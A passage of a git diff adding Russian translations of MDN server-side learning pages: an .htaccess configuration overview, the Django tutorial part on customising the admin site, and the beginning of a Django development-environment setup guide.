diff options
Diffstat (limited to 'files/ru/learn/server-side')
46 files changed, 12702 insertions, 0 deletions
diff --git a/files/ru/learn/server-side/apache_configuration_htaccess/index.html b/files/ru/learn/server-side/apache_configuration_htaccess/index.html new file mode 100644 index 0000000000..fafabc17f8 --- /dev/null +++ b/files/ru/learn/server-side/apache_configuration_htaccess/index.html @@ -0,0 +1,38 @@ +--- +title: .htaccess ( hypertext access ) +slug: Learn/Server-side/Apache_Configuration_htaccess +translation_of: Learn/Server-side/Apache_Configuration_htaccess +--- +<p>Название .htaccess происходит от "hypertext access". Это файл с расширением HTACCESS, который содержит различные настройки сервера apache. Он позволяет настраивать для текущей директории защиту паролем, редиректы и многое другое.</p> + +<p><strong>Доступ к файлу</strong>: файл htaccess может быть открыт для редактивания любым текстовым редактором, таким как стандартный блокнот Windows, Vin, Sublime text editor или любым другим. Подсветка синтаксиса для файлов .htaccess встречается редко.</p> + +<h2 id="Применение">Применение</h2> + +<p><strong>Перенаправления</strong>: htaccess файлы часто используют для перенаправления трафика между веб-страницами, а также между разными доменами. Это простой и эффективный способ перенаправления трафика, так как перенаправление происходит до обработки запроса на стороне сервера. Перенаправление может быть временным и постоянным, с установкой соответствующего кода статуса.</p> + +<pre>Redirect 301 / http://example.com/ # Постоянное перенаправление на example.com +Redirect 302 / http://example.com/ # Временное перенаправление на example.com +</pre> + +<p><strong>Блокирование</strong>: htaccess также может блокировать доступ с определенного IP адреса или диапазопа IP адресов. Блокирование часто используется, чтобы запретить доступ к директории для различных ботов и поисковых пауков.</p> + +<pre>deny from 146.0.74.205 # Блокирует все запросы с адреса 146.0.74.205</pre> + +<p><strong>SSI или Server Side Include</strong> : С помощью файла .htaccess можно настроить автоматическое подключение файлов в документ. При каждом запросе пользователя, указанные файлы автоматически будут подключены в начало или в конец документа. При этом в самом документе их подключать не нужно.</p> + +<pre>php_value auto_prepend_file "/real/path/to/file/functions.php" # Подключит файл function.php в начало документа +php_value auto_append_file "/real/path/to/file/footer.php" # Подключит файл footer.html в конец документа +</pre> + +<p><strong>Настройка страниц с ошибками:</strong> с помощью .htaccess можно перенаправлять пользователя на определенные страницы, при возникновении ошибок на сервере.</p> + +<pre>ErrorDocument 404 /notfound.html # Перенаправит пользователя на страницу notfound.html , при возникновении ошибки с кодом 404 +ErrorDocument 500 /serverr.html # Перенаправит пользователя на страницу serverr.html , при возникновении ошибки с кодом 500 +</pre> + +<p>Для дополнительной информации читайте статью <a href="http://techstream.org/Web-Development/HTACCESS/Error-Documents">Redirect your Traffic for Error Handling</a>.</p> + +<p><strong>Кэширование: </strong>файл <span style="line-height: 1.572;">.htaccess может управлять кэшированием данных веб-браузером пользователя. Это ускорит загрузку страниц и сократит количество передаваемой информации меджу сервером и клиентом.</span></p> + +<p><strong>MIME типы</strong>: смотрите статью <a href="/en-US/docs/Properly_Configuring_Server_MIME_Types" title="Properly_Configuring_Server_MIME_Types">correct MIME types</a> для большей информации.</p> diff --git a/files/ru/learn/server-side/django/admin_site/index.html b/files/ru/learn/server-side/django/admin_site/index.html new file mode 100644 index 0000000000..e8094df592 --- /dev/null +++ b/files/ru/learn/server-side/django/admin_site/index.html @@ -0,0 +1,340 @@ +--- +title: 'Руководство Django часть 4: административная панель Django' +slug: Learn/Server-side/Django/Admin_site +translation_of: Learn/Server-side/Django/Admin_site +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}}</div> + +<p class="summary">Теперь, когда модели для сайта <a href="https://developer.mozilla.org/ru-RU/docs/Learn/Server-side/Django/Tutorial_local_library_website">местной библиотеки</a> созданы, добавим некоторые "настоящие" данные о книгах, используя административную панель Django Admin. Для начала мы покажем, как зарегистрировать в ней модели, потом как войти и создать какие-нибудь данные. В конце статьи мы покажем некоторые способы дальнейшего улучшения вида админ-панели.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Предусловия:</th> + <td>Сначала завершите: <a href="/ru-RU/docs/Learn/Server-side/Django/Models">Руководство часть 3: </a>использование моделей.</td> + </tr> + <tr> + <th scope="row">Цель:</th> + <td> + <p>Уяснить преимущества и ограничения админ-панели Django, научиться использовать её для создания записей для наших моделей.</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="Обзор">Обзор</h2> + +<p><em>Приложение</em> Django admin может использовать ваши модели для автоматического создания части сайта, предназначенной для создания, просмотра, обновления и удаления записей. Это может сэкономить вам много времени в процессе разработки, упрощая тестирование ваших моделей на предмет <em>правильности</em> данных. Оно также может быть полезным для управления данными на стадии публикации, в зависимости от типа веб-сайта. Проект Django рекомендует это приложение только для управления внутренними данными (т.е.для использования администраторами, либо людьми внутри вашей организации), так как модельно-ориентированный подход не обязательно является наилучшим интерфейсом для всех пользователей и раскрывает много лишних подробностей о моделях.</p> + +<p>Все необходимые настройки, которые необходимо включить в admin приложение вашего веб-сайта, были сделаны автоматически, когда вы <a href="/ru-RU/docs/Learn/Server-side/Django/skeleton_website">создали каркас проекта</a> ( информацию о необходимых актуальных зависимостях смотрите здесь - <a href="https://docs.djangoproject.com/en/1.10/ref/contrib/admin/">Django docs</a>) . В результате все, что необходимо сделать для того, чтобы добавить модели в приложение admin, это <em>зарегистрировать</em> их. В конце этой статьи мы представим краткую демонстрацию того, каким образом можно дополнительно настроить админ-панель для лучшего отображения данные наших моделей.</p> + +<p>После регистрации моделей мы покажем как создать нового суперпользователя , войти на сайт от его имени и создать книги, авторов, экземпляры книг и жанры. Это будет полезным для тестирования представлений и шаблонов, которые мы начнем создавать в следующей части руководства.</p> + +<h2 id="Регистрация_моделей">Регистрация моделей </h2> + +<p>Вначале откройте файл <strong>admin.py </strong>в папке приложения (<strong>/locallibrary/catalog/admin.py</strong>). Пока он выглядит так (заметьте, что он уже содержит импорт <code>django.contrib.admin)</code>:</p> + +<pre class="brush: python">from django.contrib import admin + +# Register your models here. +</pre> + +<p>Зарегистрируйте модели путем вставки следующего текста в нижнюю часть этого файла. Этот код просто импортирует модели и затем вызывает <code>admin.site.register</code> для регистрации каждой из них.</p> + +<pre class="brush: python">from .models import Author, Genre, Book, BookInstance + +admin.site.register(Book) +admin.site.register(Author) +admin.site.register(Genre) +admin.site.register(BookInstance) +</pre> + +<div class="note"><strong>Примечание</strong>: Если вы приняли участие в создании модели для представления естественного языка книги (<a href="/ru-RU/docs/Learn/Server-side/Django/Models">см. обучающую статью о моделях</a>), импортируйте и зарегистрируйте её тоже!</div> + +<p>Это самый простой способ регистрации модели или моделей. Админ-панель имеет множество настроек. Мы рассмотрим другие способы регистрации ваших моделей ниже.</p> + +<h2 id="Создание_суперпользователя">Создание суперпользователя</h2> + +<p>Для того, чтобы войти в админ-панель, нам необходимо иметь учетную запись пользователя со статусом <em>Staff (сотрудники). </em>Для просмотра и создания записей, пользователю также понадобится разрешение для управления всеми нашими объектами. Вы можете создать учетную запись "superuser", которая дает полный доступ к сайту и все необходимые разрешения, используя <strong>manage.py</strong>.</p> + +<p>Для создания суперпользователя вызовите следующую команду из той же папки, где расположен <strong>manage.py</strong>. Вас попросят ввести имя пользователя, адрес электронной почты и надежный пароль. </p> + +<pre class="brush: bash">python3 manage.py createsuperuser +</pre> + +<p>После выполнения этой команды новый суперпользователь будет добавлен в базу данных. Теперь перезапустите сервер, чтобы можно было протестировать вход на сайт:</p> + +<pre class="brush: bash">python3 manage.py runserver + +</pre> + +<h2 id="Вход_в_админ-панель_и_ее_использование">Вход в админ-панель и ее использование</h2> + +<p>Для входа в админ-панель откройте ссылку<em> /admin</em> (например <a href="http://127.0.0.1:8000/admin/">http://127.0.0.1:8000/admin</a>) и введите логин и пароль вашего нового суперпользователя (вас перенаправят на login-страницу и потом обратно на /admin после ввода всех деталей).</p> + +<p>В этой части сайта отображаются все наши модели, сгрупированные по установленному приложению. Вы можете кликнуть на названии модели, чтобы получить список всех связанных записей, далее можете кликнуть на этих записях, для их редактирования . Также можно непосредственно кликнуть на ссылку <strong>Add</strong>, расположенную рядом с каждой моделью, чтобы начать создание записи этого типа. </p> + +<p><img alt="Admin Site - Home page" src="https://mdn.mozillademos.org/files/13975/admin_home.png" style="display: block; height: 634px; margin: 0px auto; width: 998px;"></p> + +<p>Кликните на ссылке <strong>Add</strong> справа от <em>Books</em>, чтобы создать новую книгу (появится диалоговое окно как на картинке внизу). Заметьте, что заголовок каждого поля - это тип используемого виджета, и <code>help_text</code> (если есть) совпадает со значением, которое вы указали в модели. </p> + +<p>Введите значение для полей. Вы можете создавать новых авторов или жанры, нажимая на значок "+ ", расположенный рядом с соответствующим полем (или выберите существующее значение из списков, если вы уже создали их). Когда вы закончили, нажмите на <strong>SAVE,</strong> <strong>Save and add another</strong>, или <strong>Save and continue editing,</strong> чтобы сохранить записи.</p> + +<p><img alt="Admin Site - Book Add" src="https://mdn.mozillademos.org/files/13979/admin_book_add.png" style="border-style: solid; border-width: 1px; display: block; height: 780px; margin: 0px auto; width: 841px;"></p> + +<div class="note"> +<p><strong>Примечание</strong>: А сейчас, хотелось бы, чтобы вы добавили несколько книг, авторов и жанров (например, Фэнтези) в ваше приложение. Удостоверьтесь, что каждый автор и жанр включает пару различных книг (позже, когда мы реализуем представления "list" и "detail", это сделает их более интересными).</p> +</div> + +<p>После того, когда книги добавлены, для перехода на главную страницу админ-панели кликните на ссылке <strong>Home </strong>в верхней части страницы. Потом кликните на ссылке <strong>Books</strong> для отображения текущего списка книг (или на одной из других ссылок, чтобы увидеть список соответствующей модели). После добавления нескольких книг список может выглядеть наподобие скриншота ниже. Отображается название каждой из книг. Его возвращает метод <code>__str__() </code>в модели Book, созданной в предыдущей статье.</p> + +<p><img alt="Admin Site - List of book objects" src="https://mdn.mozillademos.org/files/13935/admin_book_list.png" style="border-style: solid; border-width: 1px; display: block; height: 407px; margin: 0px auto; width: 1000px;"></p> + +<p>Для удаления книги из этого списка выберите чекбокс рядом с ней и действие <em>delete...</em> из выпадающего списка <em>Action</em>, а затем нажмите кнопку <strong>Go</strong>. Также можно добавить новую книгу, нажав на кнопку <strong>ADD BOOK</strong>. </p> + +<p>Вы можете редактировать книгу, кликнув по ссылке с ее названием. Страница редактирования книги, приведенная ниже, практически идентична странице добавления новой книги. Основные отличия - это заголовок страницы (<em>Change book</em>) и наличие кнопок <strong>Delete</strong>, <strong>HISTORY</strong> и <strong>VIEW ON SITE. </strong>Последняя присутствует, так как мы определили метод <code>get_absolute_url() </code>в нашей модели.</p> + +<p><img alt="Admin Site - Book Edit" src="https://mdn.mozillademos.org/files/13977/admin_book_modify.png" style="border-style: solid; border-width: 1px; display: block; height: 780px; margin: 0px auto; width: 841px;"></p> + +<p>Теперь перейдите назад на страницу <strong>Home </strong>(используя ссылку <em>Home</em> в навигационной цепочке вверху страницы) и просмотрите списки <strong>Author</strong> и <strong>Genre</strong>. В них уже должно быть несколько элементов, созданных при добавлении новых книг. Если хотите, добавьте еще.</p> + +<p>Однако у вас не будет ни одного экземпляра книги, потому что они не создаются из модели <code>Book </code>(хотя можно создать книгу из модели <code>BookInstance</code> — такова природа поля <code>ForeignKey</code>). Для отображения страницы <em>Add book instance </em>(см. рисунок ниже)<em> </em>вернитесь на страницу <em>Home</em> и нажмите кнопку <strong>Add</strong>. Обратите внимание на длинный уникальный Id для идентификации конкретного экземпляра книги в библиотеке.</p> + +<p><img alt="Admin Site - BookInstance Add" src="https://mdn.mozillademos.org/files/13981/admin_bookinstance_add.png" style="border-style: solid; border-width: 1px; display: block; height: 514px; margin: 0px auto; width: 863px;"></p> + +<p>Создайте несколько экземпляров для каждой из ваших книг. Установите статус <em>Available (доступен) </em>для некоторых экземплров и <em>On loan (выдан)</em> для остальных. Если статус экземпляра <strong>not</strong> <em>Available (недоступен)</em>, то также установите дату возврата (<em>Due back)</em>.</p> + +<p>Вот и все! Вы изучили как запустить и использовать админ-панель. Также были созданы записи для <code>Book</code>, <code>BookInstance</code>, <code>Genre</code> и <code>Author</code>, которые можно будет использовать после создания наших собственных представлений и шаблонов.</p> + +<h2 id="Продвинутая_конфигурация">"Продвинутая" конфигурация</h2> + +<p>Django выполняет неплохую работу по созданию базовой админ-панели используя информацию из зарегистрированых моделей:</p> + +<ul> + <li>каждая модель имеет список записей, каждая из которых идентифицируется строкой, создаваемой методом <code>__str__()</code> модели, и связана с представлением для ее редактирования. По умолчанию, в верхней части этого представления находится меню действий, которое может быть использовано для удаления нескольких записей за раз</li> + <li>Формы для редактирования и добавления записей содержат все поля модели, которые расположены вертикально в порядке их объявления в модели. </li> +</ul> + +<p>Можно настроить интерфейс пользователя для упрощения его использования. Некоторые доступные настройки:</p> + +<ul> + <li>List views: + <ul> + <li>добавление дополнительных отображаемых полей или информации для каждой записи. </li> + <li>добавление фильтров для отбора записей по разным критериям (например, статус выдачи книги).</li> + <li>добавление дополнительных вариантов выбора в меню действий и места расположения этого меню на форме.</li> + </ul> + </li> + <li>Detail views + <ul> + <li>выбор отображаемых полей, их порядка, группирования и т.д. </li> + <li>добавление связанных полей к записи (например, возможности добавления и редактирования записей книг при создании записи автора).</li> + </ul> + </li> +</ul> + +<p>В этом разделе рассмотрим некоторые изменения для совершенствования интерфейса пользователя нашей местной библиотеки, а именно: добавление дополнительной информации в списки моделей <code>Book</code> и <code>Author</code> , а также улучшение расположения элементов соответствующих представлений редактирования. Пользовательский интерфейс моделей <code>Language</code> and <code>Genre</code> изменять не будем, так как это не даст заметного улучшения, поскольку он содержит только по одному полю!</p> + +<p>Полное руководство по всем возможным вариантам настройки админ-панели можно найти в <a href="https://docs.djangoproject.com/en/1.10/ref/contrib/admin/">The Django Admin site</a> (документация Django).</p> + +<h3 id="Регистрация_класса_ModelAdmin">Регистрация класса ModelAdmin</h3> + +<p>Для измененения отображения модели в пользовательском интерфейсе админ-панели, необходимо определить класс <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#modeladmin-objects">ModelAdmin</a> (он описывает расположение элементов интерфейса, где Model - наименование модели) и зарегистрировать его для использования с этой моделью.</p> + +<p>Давайте начнем с модели Author. Откройте файл <strong>admin.py</strong> в каталоге приложения (<strong>/locallibrary/catalog/admin.py</strong>). Закомментируйте исходную регистрацию (используя префикс #) этой модели:</p> + +<pre class="brush: js"># admin.site.register(Author)</pre> + +<p>Теперь добавьте новый класс <code>AuthorAdmin</code> и зарегистрируйте его как показано ниже:</p> + +<pre class="brush: python"># Define the admin class +class AuthorAdmin(admin.ModelAdmin): + pass + +# Register the admin class with the associated model +admin.site.register(Author, AuthorAdmin) +</pre> + +<p>Сейчас мы добавим классы <code>ModelAdmin</code> для моделей <code>Book </code> <code>BookInstance</code>. Нам снова нужно закомментировать исходную регистрацию:</p> + +<pre class="brush: js">#admin.site.register(Book) +#admin.site.register(BookInstance)</pre> + +<p>В этот раз для создания и регистрации новых моделей используем декоратор <code>@register</code> (он делает то же самое, что и метод <code>admin.site.register()</code>):</p> + +<pre class="brush: python"># Register the Admin classes for Book using the decorator + +@admin.register(Book) +class BookAdmin(admin.ModelAdmin): + pass + +# Register the Admin classes for BookInstance using the decorator + +@admin.register(BookInstance) +class BookInstanceAdmin(admin.ModelAdmin): + pass +</pre> + +<p>Пока что все наши admin-классы пустые (см. "<code>pass"</code>), поэтому ничего не изменится ! Добавим код для задания особенностей интерфейса моделей.</p> + +<h3 id="Настройка_отображения_списков">Настройка отображения списков</h3> + +<p>Сейчас приложение <em>LocalLibrary</em> отображает всех авторов, используя имя объекта, возвращаемое методом <code>__str__()</code> модели. Это приемлемо, когда есть только несколько авторов, но, если их количество значительно, возможны дубликаты. Чтобы различить их или просто отобразить более интересную информацию о каждом авторе, можно использовать <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.ModelAdmin.list_display">list_display</a> (для добавления дополнительных полей). </p> + +<p>Замените класс <code>AuthorAdmin</code> кодом, приведенным ниже. Названия полей, которые будут отображаться в списке, перечислены в кортеже list_display в требуемом порядке (это те же имена, что и в исходной модели).</p> + +<pre class="brush: python">class AuthorAdmin(admin.ModelAdmin): + list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death') +</pre> + +<p>Перезапустите сайт и перейдите к списку авторов. Указанные поля должны отображаться следующим образом:</p> + +<p><img alt="Admin Site - Improved Author List" src="https://mdn.mozillademos.org/files/14023/admin_improved_author_list.png" style="border-style: solid; border-width: 1px; display: block; height: 302px; margin: 0px auto; width: 941px;"></p> + +<p>Для нашей модели <code>Book</code> добавим отображение полей <code>author</code> и <code>genre</code>. Поле <code>author</code> - это внешний ключ (<code>ForeignKey</code> ) связи один к одному, поэтому оно будет представлено значением <code>__str()__</code> для связанной записи. Замените класс <code>BookAdmin</code> на версию, приведенную ниже.</p> + +<pre class="brush: python">class BookAdmin(admin.ModelAdmin): + list_display = ('title', 'author', 'display_genre') +</pre> + +<p>К сожалению, мы не можем напрямую поместить поле <font face="Consolas, Liberation Mono, Courier, monospace">genre в</font> <code>list_display</code>, так как оно является <code>ManyToManyField</code> (Django не позволяет это из-за большой "стоимости" доступа к базе данных). Вместо этого мы определим функцию <code>display_genre</code> для получения строкового представления информации (вызов этой функции есть в <code>list_display</code>, ее определение см. ниже).</p> + +<div class="note"> +<p><strong>Примечание</strong>: Получение здесь значения поля <code>genre</code> возможно не самая хорошая идея вследствие "стоимости" операции базы данных. Мы показываем это, потому что вызов функций в ваших моделях может быть очень полезен по другим причинам, например, для добавления ссылки <em>Delete </em>рядом с каждым пунктом списка.</p> +</div> + +<p>Добавьте следующий код в вашу модель <code>Book</code> (<strong>models.py</strong>). В нем создается строка из первых трех значений поля <code>genre</code> (если они существуют) и <code>short_description</code>, которое может быть использовано в админ-панели.</p> + +<pre class="brush: python"> def display_genre(self): + """ + Creates a string for the Genre. This is required to display genre in Admin. + """ + return ', '.join([ genre.name for genre in self.genre.all()[:3] ]) + display_genre.short_description = 'Genre' +</pre> + +<p>После сохранения модели и обновления админ-панели, перезапустите ее и перейдите на страницу списка <em>Books</em>. Вы должны увидеть список книг, наподобие приведенного ниже:</p> + +<p><img alt="Admin Site - Improved Book List" src="https://mdn.mozillademos.org/files/14025/admin_improved_book_list.png" style="border-style: solid; border-width: 1px; display: block; height: 337px; margin: 0px auto; width: 947px;"></p> + +<p>Модель <code>Genre</code> (и модель <code>Language</code>, если вы ее определили) имеет единственное поле. Поэтому нет необходимости создания для них дополнительных моделей с целью отображения дополнительных полей.</p> + +<div class="note"> +<p><strong>Примечание</strong>: целесообразно, чтобы в списке модели <code>BookInstance</code> отображались хотя бы статус и ожидаемая дата возврата. Мы добавили это в качестве "испытания" в конце этой статьи!</p> +</div> + +<h3 id="Добавление_фильтров_списка">Добавление фильтров списка</h3> + +<p>Если в вашем списке есть множество элементов, может быть полезной возможность фильтрации отображаемых пунктов. Это выполняется путем перечисления их в атрибуте <code>list_filter</code>. Замените класс <code style="font-style: normal; font-weight: normal;">BookInstanceAdmin</code> на следующий:</p> + +<pre class="brush: python">class BookInstanceAdmin(admin.ModelAdmin): +<strong> list_filter = ('status', 'due_back')</strong> +</pre> + +<p>Представление списка теперь будет содержать панель фильтрации справа. Обратите внимание, как выбирать даты и статус для фильтрации:</p> + +<p><img alt="Admin Site - BookInstance List Filters" src="https://mdn.mozillademos.org/files/14037/admin_improved_bookinstance_list_filters.png" style="height: 528px; width: 960px;"></p> + +<h3 id="Формирование_макета_с_подробным_представлением">Формирование макета с подробным представлением</h3> + +<p>По умолчанию в представлениях деталей отображаются все поля по вертикали в порядке их объявления в модели. Вы можете изменить порядок декларации, какие поля отображаются (или исключены), используются ли разделы для организации информации, отображаются ли поля горизонтально или вертикально, и даже какие виджеты редактирования используются в админ-формах.</p> + +<div class="note"> +<p><strong>Примечание:</strong> Модели LocalLibrary относительно просты, поэтому нам не нужно менять макет, но мы все равно внесем некоторые изменения, просто чтобы показать вам, как это сделать.</p> +</div> + +<h4 id="Управление_отображаемыми_и_вложенными_полями">Управление отображаемыми и вложенными полями</h4> + +<p>Обновите ваш AuthorAdmin класс, чтобы добавить строку полей, как показано ниже (выделено полужирным шрифтом):</p> + +<pre class="brush: python">class AuthorAdmin(admin.ModelAdmin): + list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death') +<strong> fields = ['first_name', 'last_name', ('date_of_birth', 'date_of_death')]</strong> +</pre> + +<p>Атрибут полей перечисляет только те поля, которые должны отображаться в форме, по порядку. Поля отображаются по вертикали по умолчанию, но будут отображаться горизонтально, если вы дополнительно группируете их в кортеже (как показано в полях «date» выше).</p> + +<p>Перезагрузите приложение и перейдите к подробному представлению автора - он должен теперь отображаться, как показано ниже:</p> + +<p><img alt="Admin Site - Improved Author Detail" src="https://mdn.mozillademos.org/files/14027/admin_improved_author_detail.png" style="border-style: solid; border-width: 1px; display: block; height: 282px; margin: 0px auto; width: 928px;"></p> + +<div class="note"> +<p><strong>Примечание</strong>: Так же, вы можете использовать <code>exclude</code> атрибут для объявления списка атрибутов, которые будут исключены из формы (все остальные атрибутыв модели, будут отображаться). </p> +</div> + +<h4 id="Разделение_на_секцииВыделение_подробного_представления">Разделение на секции/Выделение подробного представления</h4> + +<p>Вы можете добавлять "разделы" (sections) для группировки связанной информации в модели в форме детализации, используя атрибут <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.ModelAdmin.fieldsets">fieldsets</a> .</p> + +<p>В модели <code>BookInstance</code> мы имеем информацию соответствия конкретной книги (т.е. <code>name</code>, <code>imprint</code>, and <code>id</code>) и датой когда она вновь станет доступной (<code>status</code>, <code>due_back</code>). Мы можем добавить их в разные секции, добавив текст жирным шрифтом в наш <code>BookInstanceAdmin</code> класс. </p> + +<pre class="brush: python">@admin.register(BookInstance) +class BookInstanceAdmin(admin.ModelAdmin): + list_filter = ('status', 'due_back') + +<strong> fieldsets = ( + (None, { + 'fields': ('book','imprint', 'id') + }), + ('Availability', { + 'fields': ('status', 'due_back') + }), + )</strong></pre> + +<p>Каждая секция имеет свой заголовок (или <code>None</code>, если заголовок не нужен) и ассоциированный кортеж полей в словаре - формат сложный для описания, но относительно простой для понимания, если вы посмотрите на фрагмент кода, представленный выше.</p> + +<p>Перезапустите сайт и перейдите к списку экземпляров; форма должна отображаться следующим образом:</p> + +<p><img alt="Admin Site - Improved BookInstance Detail with sections" src="https://mdn.mozillademos.org/files/14029/admin_improved_bookinstance_detail_sections.png" style="border-style: solid; border-width: 1px; display: block; height: 580px; margin: 0px auto; width: 947px;"></p> + +<h3 id="Встроенное_редактирование_связанных_записей">Встроенное редактирование связанных записей</h3> + +<p>Иногда бывает полезно иметь возможность добавлять связанные записи одновременно. Например, имеет смысл иметь как информацию о книге, так и информацию о конкретных копиях, которые вы получили на той же странице подробностей. К примеру, вполне логично получить и информацию о книге, и информацию о конкретных копиях, зайдя на страницу детализации.</p> + +<p>Вы можете это сделать, объявив <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.ModelAdmin.inlines">inlines</a>, и указав тип <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.TabularInline">TabularInline</a> (горизонтальное расположение) или <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.StackedInline">StackedInline</a> (вертикальное расположение, так же как и в модели по умолчанию). Вы можете добавить <code>BookInstance</code> информацию в подробное описание <code>Book</code> , добавив строки, представленные ниже и распологающиеся рядом с <code>BookAdmin</code>: </p> + +<pre class="brush: python"><strong>class BooksInstanceInline(admin.TabularInline): + model = BookInstance</strong> + +@admin.register(Book) +class BookAdmin(admin.ModelAdmin): + list_display = ('title', 'author', 'display_genre') +<strong> inlines = [BooksInstanceInline]</strong> +</pre> + +<p>Попробуйте перезапустить приложение, а затем взгляните на представление книги — внизу вы должны увидеть экземпляры книги, относящиеся к этой книге:</p> + +<p><img alt="Admin Site - Book with Inlines" src="https://mdn.mozillademos.org/files/14033/admin_improved_book_detail_inlines.png" style="border-style: solid; border-width: 1px; display: block; height: 889px; margin: 0px auto; width: 937px;"></p> + +<p>В этом случае, всё, что мы сделали - объявили наш встроенный класс tablular, который просто добавляет все поля из <em>встроенной</em> модели. Вы можете указать все виды дополнительной информации для макета, включая отображаемые поля, их порядок, независимо от того, являются ли они только для чтения или нет, и т. д. (См. <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.TabularInline">TabularInline</a> для получения дополнительной информации). </p> + +<div class="note"> +<p><strong>Примечание</strong>: В этой функции есть некоторые неприятные ограничения! На скриншоте выше у нас есть три существующих экземпляра книги, за которыми следуют три поля для новых экземпляров книги (которые очень похожи!). Было бы лучше НЕ иметь лишних экземпляров книг по умолчанию и просто добавить их с помощью ссылки <strong>Add another Book instance</strong> или иметь возможность просто перечислять <code>BookInstance</code>s как нечитаемые здесь ссылки. Первый вариант можно сделать, установив <code>extra</code> атрибут в 0 в модели <code>BookInstanceInline</code>, попробуйте сами.</p> +</div> + +<h2 id="Проверьте_себя">Проверьте себя</h2> + +<p>Мы многое изучили в этом разделе и теперь настало время вам самостоятельно попробовать несколько вещей:</p> + +<ol> + <li>Для представления списка <code>BookInstance</code> , добавьте код для отображения книги, статуса, даты возврата, и id (вместо значения по умолчанию возвращаемого <code>__str__()</code> ).</li> + <li>Добавьте встроенный список перечня <code>Book</code> в представление списка <code>Author</code> , используя тот же самый подход, который мы применили для <code>Book</code>/<code>BookInstance</code>.</li> +</ol> + +<ul> +</ul> + +<h2 id="Заключение">Заключение</h2> + +<p>Вот и всё! Теперь вы узнали, как настроить сайт администрирования как в самой простой, так и в улучшенной форме, о создании суперпользователя и о том, как перемещаться по сайту администратора, просматривать, удалять и обновлять записи. По пути вы создали множество книг, экземпляров, жанров и авторов, которые мы сможем перечислить и отобразить, как только мы создадим собственный вид и шаблоны.</p> + +<h2 id="Дополнительные_материалы">Дополнительные материалы</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/intro/tutorial02/#introducing-the-django-admin">Writing your first Django app, part 2: Introducing the Django Admin</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/contrib/admin/">The Django Admin site</a> (Django Docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}}</p> diff --git a/files/ru/learn/server-side/django/development_environment/index.html b/files/ru/learn/server-side/django/development_environment/index.html new file mode 100644 index 0000000000..6173f67714 --- /dev/null +++ b/files/ru/learn/server-side/django/development_environment/index.html @@ -0,0 +1,398 @@ +--- +title: Setting up a Django development environment +slug: Learn/Server-side/Django/development_environment +translation_of: Learn/Server-side/Django/development_environment +--- +<p>{{LearnSidebar}}</p> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}</p> + +<p>Теперь, когда вы знаете, что такое Django, мы покажем вам, как настроить и протестировать среду разработки Django для Windows, Linux (Ubuntu) и Mac OS X - какую бы операционную систему вы не использовали, эта статья должна дать вам все, что необходимо для возможности начать разрабатывать приложения Django.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Требования:</th> + <td>Знание как открыть терминал / командную строку, как устанавливать программные пакеты в операционной системе вашего компьютера.</td> + </tr> + <tr> + <th scope="row">Задача:</th> + <td>Создать среду разработки для Django (1.10) и запустить её на вашем компьютере.</td> + </tr> + </tbody> +</table> + +<h2 id="Обзор_среды_разработки_Django">Обзор среды разработки Django</h2> + +<p>Django упрощает настройку собственного компьютера, чтобы вы могли начать разработку веб-приложений. В этом разделе объясняется, что входит в состав среды разработки, и дается обзор некоторых параметров настройки и конфигурации. В оставшейся части статьи объясняется рекомендуемый метод установки среды разработки Django на Ubuntu, Mac OS X и Windows, и как вы можете ее протестировать.</p> + +<h3 id="Что_такое_среда_разработки_Django">Что такое среда разработки Django?</h3> + +<p>Среда разработки - это установка Django на вашем локальном компьютере, которую вы можете использовать для разработки и тестирования приложений Django до их развертывания в производственной среде.<br> + <br> + Основными инструментами, которые предоставляет сам Django, является набор скриптов Python для создания и работы с проектами Django, а также простой веб-сервер <em>разработки</em>, который можно использовать для тестирования локальных (то есть на вашем компьютере, а не на внешнем веб-сервере) веб-приложений Django на веб-браузере вашего компьютера.<br> + <br> + Существуют и другие периферийные инструменты, являющиеся частью среды разработки, которые мы не будем освещать здесь. К ним относятся такие вещи, как текстовый редактор или IDE для редактирования кода, и инструмент управления исходным кодом, например Git, для безопасного управления различными версиями вашего кода. Мы предполагаем, что у вас уже установлен текстовый редактор.</p> + +<h3 id="Какие_есть_разновидности_установки_Django">Какие есть разновидности установки Django ?</h3> + +<p>Django очень гибок с точки зрения способа и места установки и настройки. Django может быть:</p> + +<ul> + <li>установлен на различных операционных системах,</li> + <li>установлен из исходного кода, из Python Package Index (PyPi) и во многих случаях из любого менеджера пакетов,</li> + <li>настроен на использование различных баз данных, которые должны быть установлены и настроены отдельно,</li> + <li>запущен в основной системе окружения Python или в отдельном виртуальном окружении Python.</li> +</ul> + +<p>Каждый из этих вариантов требует немного разной настройки и установки. Следующие подразделы объяснят некоторые аспекты вашего выбора. Далее мы покажем вам, как установить Django на некоторые операционные системы, и эта установка будет предполагаться на всём протяжении данного модуля.</p> + +<div class="note"> +<p><strong>Замечание</strong>: Другие возможные способы установки можно найти в официальной документации Django. Мы ссылаемся на <a href="#furtherreading">соответствующие документы</a>.</p> +</div> + +<h4 id="Какие_операционные_системы_поддерживаются">Какие операционные системы поддерживаются?</h4> + +<p>Веб-приложения Django можно запускать почти на любых машинах, которые поддерживают язык программирования Python 3, среди прочих: Windows, Mac OS X, Linux/Unix, Solaris. Почти любой компьютер имеет необходимую производительность для запуска Django во время разработки.</p> + 